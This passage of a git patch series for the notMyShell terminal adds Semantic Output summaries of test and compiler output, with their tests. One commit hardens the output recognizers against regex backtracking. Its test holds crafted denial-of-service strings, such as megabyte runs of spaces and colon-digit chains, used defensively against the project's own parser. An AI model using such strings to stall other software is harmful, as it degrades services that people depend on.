--test · 12 passed · 0 failed']); + assert.equal(overview[0]!.blockStartId, pass.startId, 'the row belongs to its block'); + assert.ok(rows.findIndex(row => row.isSemantic) < rows.findIndex(row => row.plain.includes('test 0')), 'before the output'); + assert.equal(JSON.stringify(buffer.transcript().lines), before, 'drawing a reading stores nothing'); + assert.equal(logicalLines(rows).some(line => line.text.includes('node --test')), false, 'raw search never sees derived rows'); + + const fail = block(buffer, 'npm test', failingRun, 1); + const failRows = buffer.wrapped(100).filter(row => row.isSemantic && row.blockStartId === fail.startId); + assert.equal(fail.expanded, true, 'a short failing output stays expanded'); + assert.deepEqual(failRows.map(row => row.plain), [' ✘ node --test · 1 passed · 2 failed', ' › 2 failing tests · click or Actions to show'], + 'raw is expanded, so the details (what it shows) start closed'); + assert.equal(failRows[1]!.semanticToggle, fail.startId); + assert.ok(buffer.toggleSemanticDetails(fail.startId)); + assert.deepEqual(buffer.wrapped(100).filter(row => row.isSemantic && row.blockStartId === fail.startId).map(row => row.plain).slice(1), + [' ⌄ 2 failing tests', ' ✘ broken one', ' ✘ broken two']); + buffer.toggleExpanded(0); + assert.equal(buffer.semanticDetailsOpen(fail), true, 'folding the raw output leaves the reader\'s choice alone'); + + buffer.setSemanticOutput(false); + assert.equal(buffer.wrapped(100).some(row => row.isSemantic), false, 'Off: raw only'); + assert.equal(buffer.semanticFor(fail), undefined); +}); + +test('presentation: short passing output reads well already; failures and diagnostics are always summarized', () => { + const buffer = new OutputBuffer(); + block(buffer, 'npm test', lines('ℹ tests 1', 'ℹ pass 1', 'ℹ fail 0'), 0); + assert.equal(buffer.wrapped(80).some(row => row.isSemantic), false); + block(buffer, 'make', "a.c:1:1: error: nope", 2); + assert.deepEqual(buffer.wrapped(80).filter(row => row.isSemantic).map(row => row.plain), [' ✘ GCC/Clang · 1 error', ' › 1 diagnostic · click or Actions to show']); + block(buffer, 'git status', lines('On branch main', 'nothing to commit, working tree clean'), 0); + assert.equal(buffer.wrapped(80).filter(row => row.isSemantic).length, 2, 'unrecognized output gets nothing'); +}); + +test('/copy: --raw, --semantic and --both are one choice, never with --report or the picker; semantic copies fall back to raw once', () => { + assert.deepEqual(parseCopyArgs('2 --semantic'), {ok: true, request: {selector: {kind: 'indices', indices: [2]}, content: 'semantic'}}); + assert.deepEqual(parseCopyArgs('--both -2'), {ok: true, request: {selector: {kind: 'latest', count: 2}, content: 'both'}}); + assert.deepEqual(parseCopyArgs('--raw'), {ok: true, request: {selector: {kind: 'default'}, content: 'raw'}}); + assert.match((parseCopyArgs('--raw --semantic') as {error: string}).error, /one of --raw, --semantic or --both/u); + assert.match((parseCopyArgs('--both --report') as {error: string}).error, /report has its own format/u); + assert.match((parseCopyArgs('ui --semantic') as {error: string}).error, /copy directly/u); + const buffer = new OutputBuffer(); + const failing = block(buffer, 'npm test', failingRun, 1); + const plain = block(buffer, 'echo hi', 'hi\n', 0); + const semantic = semanticCopyPayload([failing, plain], 'semantic', false, record => buffer.semanticFor(record)); + assert.equal(semantic.payload, 'node --test: 1 passed · 2 failed\nbroken one\nbroken two\nhi\n'); + assert.equal(semantic.unavailable, 1); + const both = semanticCopyPayload([failing], 'both', false, record => buffer.semanticFor(record)); + assert.match(both.payload, /^── NMSh · raw output ──\n✔ ok \(1ms\)\n[\s\S]*✖ broken two \(2ms\)\n── NMSh · Semantic Output ──\nnode --test: 1 passed · 2 failed\nbroken one\nbroken two$/u); + assert.equal(both.payload.split('✔ ok (1ms)').length, 2, 'raw appears once'); +}); diff --git a/tests/semanticOutputLive.test.ts b/tests/semanticOutputLive.test.ts new file mode 100644 index 00000000..b82bf1d3 --- /dev/null +++ b/tests/semanticOutputLive.test.ts @@ -0,0 +1,35 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {chmodSync, existsSync, mkdirSync, readFileSync, writeFileSync} from 'node:fs'; +import {join} from 'node:path'; +import {LiveSandbox, until} from './helpers/liveFrontend.js'; + +/** Semantic Output through the real composer and PTY: the reading is drawn in its block and /copy --semantic copies it. */ +const supported = process.platform === 'darwin' || process.platform === 'linux'; + +test('live: a failing test summary gets its overview and failure listing; /copy --semantic copies the reading, /copy latest the raw output', {skip: supported ? false : 'unsupported platform', timeout: 120_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: 'zsh'}); + const bin = join(sandbox.root, 'fake-bin'); + mkdirSync(bin); + const clip = join(sandbox.root, 'clipboard.txt'); + for (const name of ['pbcopy', 'xclip', 'wl-copy']) { + writeFileSync(join(bin, name), `#!/bin/sh\ncat > ${JSON.stringify(clip)}\n`); + chmodSync(join(bin, name), 0o755); + } + const frontend = sandbox.launch([], {cols: 100, rows: 30}, {PATH: `${bin}:${process.env.PATH}`, ...(process.platform === 'linux' ? {DISPLAY: ':nmsh-test'} : {})}); + try { + await frontend.waitFor(/Vespyr|notMyShell|zsh/u); + await frontend.run('echo READY', /READY/u); + await frontend.run("printf '✔ ok (1ms)\\n✖ broken (2ms)\\nℹ tests 2\\nℹ pass 1\\nℹ fail 1\\n\\n✖ failing tests:\\n✖ broken (2ms)\\n'; false", + /node --test · 1 passed · 1 failed[\s\S]*1 failing test/u); + let mark = frontend.mark; + frontend.pty.write('/copy --semantic\r'); + await frontend.waitFor(/Copied[^\n]*semantic/u, mark); + await until(() => existsSync(clip) && readFileSync(clip, 'utf8').includes('broken'), 15_000, 'the reading on the clipboard'); + assert.equal(readFileSync(clip, 'utf8'), 'node --test: 1 passed · 1 failed\nbroken'); + mark = frontend.mark; + frontend.pty.write('/copy latest\r'); + await until(() => readFileSync(clip, 'utf8').startsWith('✔ ok (1ms)'), 15_000, 'the raw output on the clipboard'); + assert.doesNotMatch(readFileSync(clip, 'utf8'), /node --test:/u, '/copy without --semantic stays raw'); + } finally { await sandbox.dispose(); } +}); From 9dce263ca7e4fe32c1c717ad1edde9d41b1b41f5 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 14:18:48 +0530 Subject: [PATCH 011/157] Semantic Output: recognition is linear in what it reads A security review found patterns that could backtrack quadratically on crafted output (trailing-whitespace stripping, the Jest summary, TAP directives, GCC/TypeScript location prefixes), and recognition runs when a block is first drawn. Lines over 2,048 characters are no longer read, trailing whitespace is removed with trimEnd, and those formats are parsed with string operations and end-anchored bounded patterns. A test runs eight adversarial outputs (up to 2 MB each) and bounds each one's time; behavior is unchanged. --- src/output/semantic.ts | 172 +++++++++++++++++++++++++---------- tests/semanticOutput.test.ts | 20 ++++ 2 files changed, 143 insertions(+), 49 deletions(-) diff --git a/src/output/semantic.ts b/src/output/semantic.ts index 52fb7a8b..6d707f91 100644 --- a/src/output/semantic.ts +++ b/src/output/semantic.ts @@ -45,14 +45,19 @@ function facts(parts: ReadonlyArray value !== undefined).map(([label, value]) => `${count(value!)} ${label}`).join(' · '); } -function collect(lines: readonly string[], pattern: RegExp, render: (match: RegExpExecArray) => string, tone: SemanticItem['tone'] = 'failure'): {items: SemanticItem[]; omitted: number} { +/** + * Lines longer than this are not read: runner summaries and diagnostics are short, and every pattern below then runs + * in time linear in what it reads, whatever a hostile output contains. + */ +export const MAX_LINE = 2048; + +/** Items from lines `parse` accepts (it returns the item text), deduplicated and bounded. */ +function collect(lines: readonly string[], parse: (line: string) => string | undefined, tone: SemanticItem['tone'] = 'failure'): {items: SemanticItem[]; omitted: number} { const seen = new Set(); const items: SemanticItem[] = []; let omitted = 0; for (const line of lines) { - const match = pattern.exec(line); - if (!match) continue; - const text = render(match).trim(); + const text = parse(line)?.trim(); if (!text || seen.has(text)) continue; seen.add(text); if (items.length < MAX_ITEMS) items.push({text, tone}); else omitted += 1; @@ -60,12 +65,23 @@ function collect(lines: readonly string[], pattern: RegExp, render: (match: RegE return {items, omitted}; } +/** `N word` counts in one summary line (only ever applied to the one line a recognizer picked). */ +const countIn = (line: string, word: string) => number(new RegExp(`(?:^|[^\\d,])(\\d{1,3}(?:,\\d{3})*|\\d{1,12}) ${word}\\b`, 'u').exec(line)?.[1]); + +/** `path:line:col` with a path that has no spaces; end-anchored with bounded digits, so linear. */ +const LOCATION_TAIL = /:\d{1,7}:\d{1,7}$/u; +const isLocation = (text: string) => text.length > 0 && !/\s/u.test(text) && LOCATION_TAIL.test(text); + type Recognizer = (command: string, lines: readonly string[], exitCode: number) => Omit | undefined; /** Node's test runner: the spec reporter's `ℹ` summary, or TAP's `#` summary. */ const nodeTest: Recognizer = (_command, lines) => { for (const marker of ['ℹ', '#'] as const) { - const value = (name: string) => number(findLast(lines, line => line.startsWith(`${marker} ${name} `))?.slice(marker.length + name.length + 2).trim().match(/^\d+$/u)?.[0]); + const value = (name: string) => { + const prefix = `${marker} ${name} `; + const rest = findLast(lines, line => line.startsWith(prefix))?.slice(prefix.length).trim(); + return rest !== undefined && /^\d{1,12}$/u.test(rest) ? Number(rest) : undefined; + }; const tests = value('tests'); const pass = value('pass'); const fail = value('fail'); @@ -73,57 +89,76 @@ const nodeTest: Recognizer = (_command, lines) => { const skipped = value('skipped'); const todo = value('todo'); const cancelled = value('cancelled'); - const section = lines.findIndex(line => line === '✖ failing tests:'); + const section = lines.indexOf('✖ failing tests:'); const failing = marker === 'ℹ' - ? collect(section >= 0 ? lines.slice(section + 1) : lines, /^✖ (.+?)(?: \([\d.]+m?s\))?$/u, match => match[1]!) - : collect(lines, /^not ok \d+ - (?!.*\s#\s*(?:TODO|SKIP)\b)(.+?)(?:\s+#.*)?$/iu, match => match[1]!); - failing.items = failing.items.filter(item => item.text !== 'failing tests:'); + ? collect(section >= 0 ? lines.slice(section + 1) : lines, line => line.startsWith('✖ ') && line !== '✖ failing tests:' ? line.slice(2).replace(/ \([\d.]{1,20}m?s\)$/u, '') : undefined) + : collect(lines, line => { + const head = /^not ok \d{1,9} - /u.exec(line); + if (!head) return undefined; + const text = line.slice(head[0].length); + const hash = text.indexOf(' #'); + // A TODO or SKIP directive is not a failure. + if (hash >= 0 && /^\s*(?:todo|skip)\b/iu.test(text.slice(hash + 2))) return undefined; + return hash >= 0 ? text.slice(0, hash) : text; + }); return {kind: 'tests', source: 'node --test', outcome: fail > 0 || (cancelled ?? 0) > 0 ? 'failed' : 'passed', overview: facts([['passed', pass], ['failed', fail], ['skipped', skipped || undefined], ['todo', todo || undefined], ['cancelled', cancelled || undefined]]), ...failing}; } return undefined; }; -/** Jest's `Tests:` line (and its `●` failure headings). */ +/** Jest's `Tests: … N total` line (and its `●` failure headings). */ const jest: Recognizer = (_command, lines) => { - const summary = findLast(lines, line => /^Tests:\s+.*\d+ total$/u.test(line)); + const summary = findLast(lines, line => line.startsWith('Tests:') && line.endsWith(' total') && /\d$/u.test(line.slice(0, -6))); if (!summary) return undefined; - const part = (name: string) => number(new RegExp(`(\\d[\\d,]*) ${name}`, 'u').exec(summary)?.[1]); - const failed = part('failed'); - const failing = collect(lines, /^\s*● (?!Console\b)(.+)$/u, match => match[1]!); + const failed = countIn(summary, 'failed'); + const failing = collect(lines, line => { + const text = line.trimStart(); + return text.startsWith('● ') && !text.startsWith('● Console') ? text.slice(2) : undefined; + }); return {kind: 'tests', source: 'Jest', outcome: (failed ?? 0) > 0 ? 'failed' : 'passed', - overview: facts([['passed', part('passed') ?? 0], ['failed', failed ?? 0], ['skipped', part('skipped')], ['todo', part('todo')]]), ...failing}; + overview: facts([['passed', countIn(summary, 'passed') ?? 0], ['failed', failed ?? 0], ['skipped', countIn(summary, 'skipped')], ['todo', countIn(summary, 'todo')]]), ...failing}; }; -/** Vitest's `Tests` summary line (`2 failed | 40 passed (42)`) and its FAIL lines. */ +/** Vitest's `Tests 2 failed | 40 passed (42)` line and its FAIL lines. */ const vitest: Recognizer = (_command, lines) => { - const summary = findLast(lines, line => /^\s+Tests\s+(?:\d+ \w+(?: \| )?)+\s*\(\d+\)$/u.test(line)); - if (!summary || !lines.some(line => /^\s*Test Files\s+/u.test(line))) return undefined; - const part = (name: string) => number(new RegExp(`(\\d[\\d,]*) ${name}`, 'u').exec(summary)?.[1]); - const failed = part('failed'); - const failing = collect(lines, /^\s*FAIL\s+(.+?)\s*$/u, match => match[1]!); + const summary = findLast(lines, line => line.startsWith(' ') && line.trimStart().startsWith('Tests ') && /\(\d{1,9}\)$/u.test(line)); + if (!summary || !lines.some(line => line.trimStart().startsWith('Test Files '))) return undefined; + const failed = countIn(summary, 'failed'); + const failing = collect(lines, line => { + const text = line.trimStart(); + return text.startsWith('FAIL ') ? text.slice(5).trimStart() : undefined; + }); return {kind: 'tests', source: 'Vitest', outcome: (failed ?? 0) > 0 ? 'failed' : 'passed', - overview: facts([['passed', part('passed') ?? 0], ['failed', failed ?? 0], ['skipped', part('skipped')], ['todo', part('todo')]]), ...failing}; + overview: facts([['passed', countIn(summary, 'passed') ?? 0], ['failed', failed ?? 0], ['skipped', countIn(summary, 'skipped')], ['todo', countIn(summary, 'todo')]]), ...failing}; }; /** pytest's closing `=== 1 failed, 3 passed in 0.12s ===` line and its short summary. */ const pytest: Recognizer = (_command, lines) => { - const summary = findLast(lines, line => /^=+ (?:\d+ \w+(?:, )?)+ in [\d.]+s(?: \([\d:]+\))? =+$/u.test(line)); + const summary = findLast(lines, line => { + if (!line.startsWith('=') || !line.endsWith('=')) return false; + const inner = line.replace(/^=+ /u, '').replace(/ =+$/u, ''); + const at = inner.lastIndexOf(' in '); + if (at < 0 || !/^[\d.]{1,12}s(?: \([\d:]{1,12}\))?$/u.test(inner.slice(at + 4))) return false; + return inner.slice(0, at).split(', ').every(part => /^\d{1,9} \w{1,20}$/u.test(part)); + }); if (!summary) return undefined; - const part = (name: string) => number(new RegExp(`(\\d+) ${name}`, 'u').exec(summary)?.[1]); - const failed = part('failed'); - const errors = part('errors?'); - const failing = collect(lines, /^(?:FAILED|ERROR) (\S+)(?: - (.*))?$/u, match => match[2] ? `${match[1]} - ${match[2]}` : match[1]!); + const failed = countIn(summary, 'failed'); + const errors = countIn(summary, 'errors?'); + const failing = collect(lines, line => { + const head = line.startsWith('FAILED ') ? 7 : line.startsWith('ERROR ') ? 6 : 0; + return head ? line.slice(head) : undefined; + }); return {kind: 'tests', source: 'pytest', outcome: (failed ?? 0) + (errors ?? 0) > 0 ? 'failed' : 'passed', - overview: facts([['passed', part('passed') ?? 0], ['failed', failed ?? 0], ['errors', errors], ['skipped', part('skipped')], ['xfailed', part('xfailed')]]), ...failing}; + overview: facts([['passed', countIn(summary, 'passed') ?? 0], ['failed', failed ?? 0], ['errors', errors], ['skipped', countIn(summary, 'skipped')], ['xfailed', countIn(summary, 'xfailed')]]), ...failing}; }; /** cargo test's `test result:` lines (one per test binary; summed). */ const cargoTest: Recognizer = (_command, lines) => { - const results = lines.map(line => /^test result: (?:ok|FAILED)\. (\d+) passed; (\d+) failed; (\d+) ignored;/u.exec(line)).filter(match => match !== null); + const results = lines.map(line => /^test result: (?:ok|FAILED)\. (\d{1,9}) passed; (\d{1,9}) failed; (\d{1,9}) ignored;/u.exec(line)).filter(match => match !== null); if (!results.length) return undefined; const sum = (index: number) => results.reduce((total, match) => total + Number(match[index]), 0); - const failing = collect(lines, /^test (\S+) \.\.\. FAILED$/u, match => match[1]!); + const failing = collect(lines, line => line.startsWith('test ') && line.endsWith(' ... FAILED') ? line.slice(5, -11) : undefined); return {kind: 'tests', source: 'cargo test', outcome: sum(2) > 0 ? 'failed' : 'passed', overview: facts([['passed', sum(1)], ['failed', sum(2)], ['ignored', sum(3) || undefined]]), ...failing}; }; @@ -134,7 +169,10 @@ const goTest: Recognizer = (command, lines) => { const ok = lines.filter(line => /^ok\s+\S+\s+(?:[\d.]+s|\(cached\))/u.test(line)).length; const failedPackages = lines.filter(line => /^FAIL\s+\S+\s+(?:[\d.]+s|\[build failed\]|\[setup failed\])/u.test(line)).length; if (!ok && !failedPackages) return undefined; - const failing = collect(lines, /^\s*--- FAIL: (\S+)/u, match => match[1]!); + const failing = collect(lines, line => { + const text = line.trimStart(); + return text.startsWith('--- FAIL: ') ? text.slice(10).split(' ')[0] : undefined; + }); return {kind: 'tests', source: 'go test', outcome: failedPackages > 0 ? 'failed' : 'passed', overview: `${plural(ok, 'package')} ok · ${plural(failedPackages, 'package')} failed${failing.items.length ? ` · ${plural(failing.items.length + failing.omitted, 'failing test')}` : ''}`, ...failing}; }; @@ -142,22 +180,45 @@ const goTest: Recognizer = (command, lines) => { /** Commands that compile or check code: their diagnostics are the point even when they exit 0. */ const BUILD = /^\s*(?:\S+\/)?(?:tsc|npx\s+tsc|vue-tsc|gcc|g\+\+|cc|c\+\+|clang|clang\+\+|make|ninja|cmake|cargo\s+(?:build|check|clippy|run|test)|rustc|swift\s+build|xcodebuild|go\s+(?:build|vet)|(?:npm|pnpm|yarn|bun)\s+(?:run\s+)?(?:build|typecheck|check|lint|compile|tsc))\b/u; -/** TypeScript: `file(1,2): error TS…` or pretty `file:1:2 - error TS…`, and tsc's `Found N errors` line. */ +/** One TypeScript diagnostic, pretty (`file:1:2 - error TS…: …`) or plain (`file(1,2): error TS…: …`). */ +function typescriptDiagnostic(line: string): string | undefined { + for (const severity of ['error', 'warning'] as const) { + const pretty = line.indexOf(` - ${severity} TS`); + if (pretty > 0 && isLocation(line.slice(0, pretty))) { + const rest = /^(TS\d{1,6}): (.*)$/u.exec(line.slice(pretty + severity.length + 4)); + if (rest) return `${line.slice(0, pretty)} ${rest[1]}: ${rest[2]}`; + } + const plain = line.indexOf(`): ${severity} TS`); + if (plain > 0) { + const head = /^(\S+)\((\d{1,7}),(\d{1,7})$/u.exec(line.slice(0, plain)); + const rest = /^(TS\d{1,6}): (.*)$/u.exec(line.slice(plain + severity.length + 4)); + if (head && rest) return `${head[1]}:${head[2]}:${head[3]} ${rest[1]}: ${rest[2]}`; + } + } + return undefined; +} + +/** TypeScript diagnostics, and tsc's `Found N errors` line. */ const typescript: Recognizer = (command, lines, exitCode) => { - const pattern = /^(\S.*?)(?:\((\d+),(\d+)\): | ?:(\d+):(\d+) - )(error|warning) (TS\d+): (.*)$/u; - const found = findLast(lines, line => /^Found \d+ errors?(?: in .+)?\.?$/u.test(line)); - if (!found && !lines.some(line => pattern.test(line))) return undefined; + const found = findLast(lines, line => /^Found \d{1,9} errors?(?: in .+)?\.?$/u.test(line)); + if (!found && !lines.some(line => typescriptDiagnostic(line) !== undefined)) return undefined; if (!found && exitCode === 0 && !BUILD.test(command)) return undefined; - const items = collect(lines, pattern, match => `${match[1]}:${match[2] ?? match[4]}:${match[3] ?? match[5]} ${match[7]}: ${match[8]}`); - const errors = number(found ? /^Found (\d+) errors?/u.exec(found)?.[1] : undefined) ?? items.items.length + items.omitted; - const files = found ? /in (\d+) files/u.exec(found)?.[1] : undefined; + const items = collect(lines, typescriptDiagnostic); + const errors = number(found ? /^Found (\d{1,9}) errors?/u.exec(found)?.[1] : undefined) ?? items.items.length + items.omitted; + const files = found ? /in (\d{1,9}) files/u.exec(found)?.[1] : undefined; return {kind: 'diagnostics', source: 'TypeScript', outcome: errors > 0 ? 'failed' : 'passed', overview: `${plural(errors, 'error')}${files ? ` in ${files} files` : ''}`, ...items}; }; +/** The location of a Rust ` --> file:line:col` line, or undefined. */ +function rustLocation(line: string | undefined): string | undefined { + const text = line?.trim(); + return text?.startsWith('--> ') && isLocation(text.slice(4)) ? text.slice(4) : undefined; +} + /** Rust: `error[E0308]: …` / `warning: …` headings with their ` --> file:line:col` location. */ const rust: Recognizer = (command, lines, exitCode) => { - if (!lines.some(line => /^\s*--> \S+:\d+:\d+$/u.test(line))) return undefined; + if (!lines.some(line => rustLocation(line) !== undefined)) return undefined; if (exitCode === 0 && !BUILD.test(command)) return undefined; const items: SemanticItem[] = []; let omitted = 0; @@ -166,7 +227,7 @@ const rust: Recognizer = (command, lines, exitCode) => { for (let index = 0; index < lines.length; index += 1) { const heading = /^(error|warning)(\[E\d{4}\])?: (.+)$/u.exec(lines[index]!); if (!heading || /^(?:could not compile|aborting due to|`.+` \(.+\) generated \d+ warnings?)/u.test(heading[3]!)) continue; - const location = /^\s*--> (\S+:\d+:\d+)$/u.exec(lines[index + 1] ?? '')?.[1]; + const location = rustLocation(lines[index + 1]); if (!location) continue; if (heading[1] === 'error') errors += 1; else warnings += 1; const text = `${location} ${heading[1]}${heading[2] ?? ''}: ${heading[3]}`; @@ -175,20 +236,31 @@ const rust: Recognizer = (command, lines, exitCode) => { if (!errors && !warnings) return undefined; return {kind: 'diagnostics', source: 'Rust', outcome: errors > 0 ? 'failed' : 'passed', overview: [errors ? plural(errors, 'error') : '', warnings ? plural(warnings, 'warning') : ''].filter(Boolean).join(' · '), items, omitted}; -}; +} + +/** One GCC/Clang diagnostic `file:line:col: error: …` as [location, severity, message]. */ +function cDiagnostic(line: string): [string, string, string] | undefined { + for (const severity of ['fatal error', 'error', 'warning'] as const) { + const at = line.indexOf(`: ${severity}: `); + if (at > 0 && isLocation(line.slice(0, at))) return [line.slice(0, at), severity, line.slice(at + severity.length + 4)]; + } + return undefined; +} -/** GCC and Clang: `file:line:col: error: …` lines. */ +/** GCC and Clang diagnostics. */ const cCompilers: Recognizer = (command, lines, exitCode) => { - const pattern = /^(\S+?:\d+:\d+): (fatal error|error|warning): (.+)$/u; - if (!lines.some(line => pattern.test(line))) return undefined; + if (!lines.some(line => cDiagnostic(line) !== undefined)) return undefined; if (exitCode === 0 && !BUILD.test(command)) return undefined; let errors = 0; let warnings = 0; for (const line of lines) { - const match = pattern.exec(line); - if (match) { if (match[2] === 'warning') warnings += 1; else errors += 1; } + const diagnostic = cDiagnostic(line); + if (diagnostic) { if (diagnostic[1] === 'warning') warnings += 1; else errors += 1; } } - const failures = collect(lines, pattern, match => `${match[1]} ${match[2]}: ${match[3]}`); + const failures = collect(lines, line => { + const diagnostic = cDiagnostic(line); + return diagnostic && `${diagnostic[0]} ${diagnostic[1]}: ${diagnostic[2]}`; + }); for (const item of failures.items) if (/ warning: /u.test(item.text)) item.tone = 'warning'; return {kind: 'diagnostics', source: 'GCC/Clang', outcome: errors > 0 ? 'failed' : 'passed', overview: [errors ? plural(errors, 'error') : '', warnings ? plural(warnings, 'warning') : ''].filter(Boolean).join(' · '), ...failures}; @@ -202,9 +274,11 @@ export function recognizeOutput(command: string, output: string, exitCode: numbe if (!output) return undefined; const complete = output.length <= MAX_SEMANTIC_BYTES; const text = complete ? output : output.slice(-MAX_SEMANTIC_BYTES); - const lines = text.split('\n').map(line => line.replace(/\r$/u, '').replace(/\s+$/u, '')); + // trimEnd is linear (a `\s+$` pattern is not), and over-long lines are not read at all. + const lines = text.split('\n').map(line => line.length > MAX_LINE ? '' : line.trimEnd()); + const shown = command.length > 1024 ? command.slice(0, 1024) : command; for (const recognizer of RECOGNIZERS) { - const result = recognizer(command, lines, exitCode); + const result = recognizer(shown, lines, exitCode); if (result) return {...result, complete}; } return undefined; diff --git a/tests/semanticOutput.test.ts b/tests/semanticOutput.test.ts index d4f05e52..dee6441a 100644 --- a/tests/semanticOutput.test.ts +++ b/tests/semanticOutput.test.ts @@ -164,3 +164,23 @@ test('/copy: --raw, --semantic and --both are one choice, never with --report or assert.match(both.payload, /^── NMSh · raw output ──\n✔ ok \(1ms\)\n[\s\S]*✖ broken two \(2ms\)\n── NMSh · Semantic Output ──\nnode --test: 1 passed · 2 failed\nbroken one\nbroken two$/u); assert.equal(both.payload.split('✔ ok (1ms)').length, 2, 'raw appears once'); }); + +test('hostile output cannot make recognition slow: every pattern is linear in what it reads', () => { + const block = (line: string, times: number) => Array.from({length: times}, () => line).join('\n'); + const cases: Array<[string, string, string]> = [ + ['one 2 MB line of spaces', 'cat x', `${' '.repeat(2_000_000)}x`], + ['Jest-like lines of digits', 'npx jest', block(`Tests: ${'1'.repeat(2000)}`, 1000)], + ['TAP lines padded with spaces', 'node --test', `${block(`not ok 1 - ${' '.repeat(2000)}x`, 1000)}\n# tests 1\n# pass 0\n# fail 1`], + ['colon-digit chains', 'make', block(`${'a:1'.repeat(660)}: error: x`, 1000)], + ['TypeScript-like prefixes', 'npx tsc', block(`${'(1,'.repeat(600)} - error TS1: x`, 1000)], + ['pytest-like banners', 'pytest', block(`= ${'1 a, '.repeat(390)} in 1s =`, 1000)], + ['Rust locations', 'cargo build', block(`error: x\n --> ${':1'.repeat(1000)}`, 500)], + ['Vitest-like lines', 'npx vitest', block(` Tests ${'(1'.repeat(1000)})`, 1000)], + ]; + for (const [name, command, output] of cases) { + const started = performance.now(); + recognizeOutput(command, output, 1); + const elapsed = performance.now() - started; + assert.ok(elapsed < 750, `${name}: ${Math.round(elapsed)}ms`); + } +}); From f3ca778ff18453d870ba9fb031ecc82d0e877da4 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 14:26:52 +0530 Subject: [PATCH 012/157] Semantic Output: the Setup transcript step lists its new row --- tests/transcriptRecallQa.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/transcriptRecallQa.test.ts b/tests/transcriptRecallQa.test.ts index 323afed9..919bd084 100644 --- a/tests/transcriptRecallQa.test.ts +++ b/tests/transcriptRecallQa.test.ts @@ -115,7 +115,7 @@ test('Setup Cat: a Transcript step after Editor, reusing the transcript rows onc const ids = SETUP_SECTIONS.map(section => section.id); assert.equal(ids.indexOf('transcript'), ids.indexOf('editor') + 1); const transcript = SETUP_SECTIONS[sectionIndex('transcript')]!.rows.map(item => item.row.id); - assert.deepEqual(transcript, ['transcriptPresentation', 'historicalPrompt', 'historyColors', 'historyTheme', 'divider', 'dividerDensity', 'dividerColors', 'outputFolding']); + assert.deepEqual(transcript, ['transcriptPresentation', 'historicalPrompt', 'historyColors', 'historyTheme', 'divider', 'dividerDensity', 'dividerColors', 'outputFolding', 'semanticOutput']); const all = SETUP_SECTIONS.flatMap(section => section.rows.map(item => item.row.id)); assert.equal(all.filter(id => id === 'transcriptPresentation').length, 1, 'Transcript presentation appears once'); assert.equal(all.filter(id => id === 'outputFolding').length, 1); From 6cd9dd149258722753aaee58cc2e92bcdf5532e9 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 14:26:49 +0530 Subject: [PATCH 013/157] /track: one live result of a finite command, refreshed in place (#393) /track (or --every 5s -- ) writes the command and a note once, then draws a status row and the latest completed result under them, replaced on every refresh with a stable height. Live rows are derived: never stored, found, selected or copied, so nothing accumulates per refresh. /track copy, refresh, pause, resume and stop; stopping leaves the last result in the transcript once. /watch keeps its manager and behavior. The shared scheduler takes draft PR #394's hardening as written (strict cadence parsing; refusing substitutions, background jobs and heredocs; UTF-8-safe bounded capture with a truncation flag; visible timeouts and spawn errors; completion on stdio close; a stop grace period; at most 8 trackers), and its tests. Samples now use the live shell's PATH. The derived-row flag from Semantic Output is generalized for both. --- CHANGELOG.md | 1 + .../development/track-live-command-refresh.md | 57 ++++ docs/development/v021-ledger.md | 8 +- docs/testing/v021-physical-qa.md | 18 ++ src/app/TerminalApp.ts | 95 +++++-- src/ask/concepts.ts | 6 +- src/commands/slashCommands.ts | 16 +- src/output/OutputBuffer.ts | 24 ++ src/output/OutputSelection.ts | 2 +- src/output/TranscriptPresenter.ts | 4 + src/output/TranscriptSearch.ts | 2 +- src/output/TranscriptSelection.ts | 2 +- src/output/semanticRows.ts | 2 +- src/output/viewport.ts | 5 +- src/tasks/WatchPanel.ts | 29 ++- src/tasks/WatchTasks.ts | 155 +++++++++-- src/tasks/trackBlock.ts | 80 ++++++ tests/semanticOutput.test.ts | 16 +- tests/track.test.ts | 246 ++++++++++++++++++ tests/trackApp.test.ts | 54 ++++ tests/trackLive.test.ts | 47 ++++ 21 files changed, 791 insertions(+), 78 deletions(-) create mode 100644 docs/development/track-live-command-refresh.md create mode 100644 src/tasks/trackBlock.ts create mode 100644 tests/track.test.ts create mode 100644 tests/trackApp.test.ts create mode 100644 tests/trackLive.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index e33080a1..08a47da1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - Safe saving: the new text is written beside the file and renamed over it, keeping its mode, group, line endings, BOM and final newline; a symlink stays a symlink. If the file changed, was replaced or was deleted since you opened it, nothing is written until you choose Keep editing, Overwrite or Reload. A new file never replaces one that appeared meanwhile. - Limits: your own regular UTF-8 text files up to 1 MiB with one hard link, writable, with one kind of line ending. Others are refused with the reason and stay readable in `/view`. Extended attributes and ACLs are not carried over by a save. Unsaved text is lost if the NMSh window itself is closed. - **Semantic Output** for test runs and builds ([#386](https://github.com/raiseCatError/notMyShell/issues/386), first phase). A completed block whose output NMSh recognizes gets one overview row with the counts the tool printed (`✔ node --test · 1,772 passed · 0 failed · 25 skipped`, `✘ TypeScript · 3 errors in 2 files`) and, when it listed failures or diagnostics, a details row that opens them, taken verbatim from the output. Recognized: Node's test runner (spec and TAP), Jest, Vitest, pytest, `cargo test`, `go test`, TypeScript, Rust and GCC/Clang diagnostics; anything else stays raw only, and short passing output gets nothing. Details start open when the raw output is folded; click the details row or use Actions → Show or hide details. The output itself, its folding, search, selection and plain `/copy` are unchanged. `/copy --semantic` copies the reading (raw for an output without one, as the note says) and `/copy --both` the raw output and the reading under labelled NMSh separators. Settings → Transcript → Semantic Output turns it off. +- **`/track`** keeps one live result of a finite command in the transcript, refreshed in place ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). `/track df -h` or `/track --every 5s -- docker system df` writes the command once, then shows a status row (`live · every 5s · updated 13:49:25 · exit 0`, a failing exit, a timeout, paused, stale, refreshing) and the latest result under it, with a stable height. The shell stays free; nothing accumulates per refresh, and find, selection and `/copy` never 